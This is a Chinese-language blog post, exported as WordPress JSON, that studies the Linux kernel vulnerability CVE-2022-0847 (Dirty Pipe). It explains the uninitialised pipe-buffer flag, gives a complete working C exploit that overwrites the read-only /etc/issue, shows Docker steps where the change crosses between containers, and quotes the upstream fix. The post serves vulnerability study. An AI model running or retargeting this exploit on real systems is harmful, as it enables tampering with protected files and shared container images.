{"id":337,"date":"2023-02-14T00:04:53","date_gmt":"2023-02-13T16:04:53","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=337"},"modified":"2023-07-03T22:41:19","modified_gmt":"2023-07-03T14:41:19","slug":"cve-2022-0847%e5%ad%a6%e4%b9%a0-%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=337","title":{"rendered":"CVE-2022-0847\u5b66\u4e60"},"content":{"rendered":"

<\/p>\n

\u6f0f\u6d1e\u5206\u6790<\/h4>\n

CVE-2022-0847\uff0c\u53c8\u540dDirty Pipe\uff0c\u662f\u4e00\u4e2aLinux\u5185\u6838\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u8986\u5199\u6587\u4ef6\u5185\u5bb9\uff0c\u5305\u62ec\u53ea\u8bfb\u7684\u6587\u4ef6\u3002<\/p>\n

\u5728zero-copy\u7684\u8fc7\u7a0b\u4e2d\uff08\u4f8b\u5982splice()\u7cfb\u7edf\u8c03\u7528\uff09\uff0c\u6587\u4ef6\u7684\u6570\u636e\u4f1a\u88ab\u5199\u5230\u5185\u5b58\u7684page cache\u4e2d\uff08\u4e4b\u540e\u5bf9\u6587\u4ef6\u7684\u8bfb\u53d6\u4e5f\u90fd\u4f1a\u76f4\u63a5\u8bfb\u53d6page cache\u7684\u5185\u5bb9\uff0c\u4ee5\u51cf\u5c11\u78c1\u76d8IO\uff09\uff0c\u800cpipe\u7684buffer\u4e5f\u4f1a\u6307\u5411\u8fd9\u4e2apage cache[1.1]\u3002<\/p>\n

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, struct iov_iter *i)\r\n{\r\n    struct pipe_inode_info *pipe = i->pipe;\r\n    struct pipe_buffer *buf;\r\n    ......\r\n    buf = &pipe->bufs[i_head & p_mask];\r\n    ......\r\n    buf->page = page;\r\n    ......\r\n<\/pre>\n
splice()\u7684\u8c03\u7528\u94fe\u5982\u4e0b\u56fe\uff1a
\n\"\"<\/p>\n
\u5728\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0cpipe buffer\u7684flags\u6210\u5458\u662f\u6ca1\u6709\u88ab\u521d\u59cb\u5316\u7684\u3002\u7136\u800c\uff0c\u6839\u636epipe\u7684\u5199\u5165\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u5f53flags\u4e3aPIPE_BUF_CAN_MERGE\u65f6\uff0c\u53ef\u4ee5\u5411page cache\u4e2d\u5199\u5165\u6570\u636e\uff0c\u800c\u8981\u8bbe\u7f6e\u8fd9\u4e2aflags\uff0c\u53ea\u9700\u8981\u5bf9pipe\u8fdb\u884c\u4e00\u6b21\u5199\u5165[1.2]\uff1a<\/p>\n
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&\r\n    offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; ret = copy_page_from_iter(buf->page, offset, chars, from);\r\n<\/pre>\n
buf = &pipe->bufs[head & mask];\r\nbuf->page = page;\r\nbuf->ops = &anon_pipe_buf_ops;\r\nbuf->offset = 0;\r\nbuf->len = 0;\r\nif (is_packetized(filp))\r\n    buf->flags = PIPE_BUF_FLAG_PACKET;\r\nelse\r\n    buf->flags = PIPE_BUF_FLAG_CAN_MERGE;\r\n<\/pre>\n
\u800c\u5bf9pipe buffer\u7684page cache\u8fdb\u884c\u5199\u5165\uff0c\u5c31\u610f\u5473\u7740\u5bf9splice()\u4e2d\u5bf9\u5e94\u7684\u6587\u4ef6\u7684page cache\u8fdb\u884c\u4e86\u5199\u5165\uff0c\u6b64\u65f6\uff0c\u5f53\u518d\u6b21\u8bfb\u53d6\u6587\u4ef6\uff0c\u5185\u5bb9\u5c31\u4f1a\u53d1\u751f\u53d8\u5316\u3002\u5f53\u7136\uff0c\u8fd9\u79cd\u53d8\u5316\u5e76\u4e0d\u662f\u6c38\u4e45\u7684\uff0c\u56e0\u4e3a\u8fd9\u6837\u7684\u5199\u5165\u5e76\u4e0d\u4f1a\u5bf9\u6587\u4ef6\u5728\u78c1\u76d8\u4e2d\u7684\u5185\u5bb9\u4ea7\u751f\u5f71\u54cd\uff0c\u4e00\u65e6\u6587\u4ef6\u7684page cache\u5931\u6548\uff08\u4f8b\u5982\u7cfb\u7edf\u91cd\u542f\u6216\u8005\u67d0\u4e9b\u5185\u5b58\u6e05\u7406\u673a\u5236\uff09\uff0c\u6587\u4ef6\u7684\u5185\u5bb9\u5c31\u4f1a\u6062\u590d\u539f\u6837\u3002\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4fee\u6539\u5bb9\u5668\u955c\u50cf\u91cc\u7684\u6587\u4ef6\u5185\u5bb9\uff0c\u5e76\u5f71\u54cd\u5176\u4ed6\u4f7f\u7528\u8be5\u955c\u50cf\u7684\u5bb9\u5668\u3002<\/p>\n
\u6f0f\u6d1e\u590d\u73b0<\/h4>\n
\u7cfb\u7edf\uff1aUbuntu 20.04
\n\u5185\u6838\uff1a5.8.0-63<\/p>\n
\u5982\u4e0b\u4e3aexp\u7684\u4ee3\u7801\uff0c\u5927\u81f4\u6b65\u9aa4\u4e3a\u586b\u5145\u7ba1\u9053\u3001\u6e05\u7a7a\u7ba1\u9053\u3001\u96f6\u62f7\u8d1d\u3001\u5411\u7ba1\u9053\u5199\u5165\u6570\u636e\uff0c\u5176\u4e2d\u76ee\u6807\u6587\u4ef6\u4e3a\/etc\/issue\uff0c\u8986\u5199\u8d77\u59cb\u4f4d\u7f6e\u4e3a1\uff0c\u5185\u5bb9\u4e3a\u201cABCD\u201d\uff1a<\/p>\n
#include <unistd.h>\r\n#include <fcntl.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <sys\/stat.h>\r\n#include <sys\/user.h>\r\n\r\n#ifndef PAGE_SIZE\r\n#define PAGE_SIZE 4096\r\n#endif\r\n\r\nint main()\r\n{\r\n\tconst char *const path = \"\/etc\/issue\";\r\n\tloff_t offset = 1;\r\n\tconst char *const data = \"ABCD\";\r\n\tconst size_t data_size = strlen(data);\r\n\r\n\tconst loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;\r\n\tconst loff_t end_offset = offset + (loff_t)data_size;\r\n\r\n\tconst int fd = open(path, O_RDONLY);\r\n\r\n\tint p[2];\r\n\tpipe(p);\r\n\r\n\tconst unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);\r\n\tstatic char buffer[4096];\r\n\r\n\tfor (unsigned r = pipe_size; r > 0;) {\r\n\t\tunsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;\r\n\t\twrite(p[1], buffer, n);\r\n\t\tr -= n;\r\n\t}\r\n\r\n\tfor (unsigned r = pipe_size; r > 0;) {\r\n\t\tunsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;\r\n\t\tread(p[0], buffer, n);\r\n\t\tr -= n;\r\n\t}\r\n\r\n\t--offset;\r\n\tsplice(fd, &offset, p[1], NULL, 1, 0);\r\n\twrite(p[1], data, data_size);\r\n\treturn 0;\r\n}\r\n<\/pre>\n
\u57fa\u4e8e\u540c\u4e00\u4e2a\u955c\u50cf\uff0c\u5206\u522b\u521b\u5efa\u4e24\u4e2aDocker\u5bb9\u5668container-a\u548ccontainer-b\uff0c\u628a\u7f16\u8bd1\u597d\u7684exp\u590d\u5236\u5230container-a\u4e2d\uff1a<\/p>\n
sudo docker run --name container-a -itd ubuntu\r\nsudo docker run --name container-b -itd ubuntu\r\ngcc exp.c -o exp\r\nsudo docker cp exp container-a:\/exp\r\n<\/pre>\n
\u5206\u522b\u8fdb\u5165\u4e24\u4e2a\u5bb9\u5668\uff0c\u83b7\u53d6\u76ee\u6807\u6587\u4ef6\/etc\/issue\u7684\u5185\u5bb9\uff1a
\n\"\"<\/p>\n
\u5728container-a\u4e2d\u8fd0\u884cexp\uff0c\u518d\u6b21\u67e5\u770b\/etc\/issue\uff0c\u53ef\u4ee5\u770b\u5230\u6587\u4ef6\u7684\u5185\u5bb9\u53d1\u751f\u4e86\u53d8\u5316\uff1a
\n\"\"<\/p>\n
\u5e76\u4e14\u5728container-b\u4e2d\u4e5f\u80fd\u770b\u5230\u540c\u6837\u7684\u53d8\u5316\u3002<\/p>\n
\u5b98\u65b9\u4fee\u590d<\/h4>\n
\u5b98\u65b9\u7684\u4fee\u590d\u65b9\u6848\u5f88\u7b80\u5355\uff0c\u5728\u8bbe\u7f6epipe buffer\u65f6\uff0c\u5c06\u5b83\u7684flags\u8bbe\u4e3a0\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u907f\u514d\u5b83\u88ab\u8bbe\u4e3aPIPE_BUF_FLAG_CAN_MERGE\uff0c\u4ece\u800c\u907f\u514d\u5bf9page cache\u7684\u5199\u5165[3.1]\u3002<\/p>\n
buf = &pipe->bufs[i_head & p_mask];\r\n......\r\nbuf->flags = 0;\r\n<\/pre>\n
\u53c2\u8003<\/h4>\n
[1.1] https:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/stable\/linux.git\/tree\/lib\/iov_iter.c?h=v5.17-rc5#n382<\/a>
\n[1.2] https:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/stable\/linux.git\/tree\/fs\/pipe.c?h=v5.17-rc5<\/a>
\n[2.1] https:\/\/dirtypipe.cm4all.com\/<\/a>
\n[3.1] https:\/\/git.kernel.org\/pub\/scm\/linux\/kernel\/git\/torvalds\/linux.git\/commit\/lib\/iov_iter.c?id=9d2231c5d74e13b2a0546fee6737ee4446017903<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-337","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/337","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=337"}],"version-history":[{"count":6,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/337\/revisions"}],"predecessor-version":[{"id":506,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/337\/revisions\/506"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=337"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=337"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=337"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}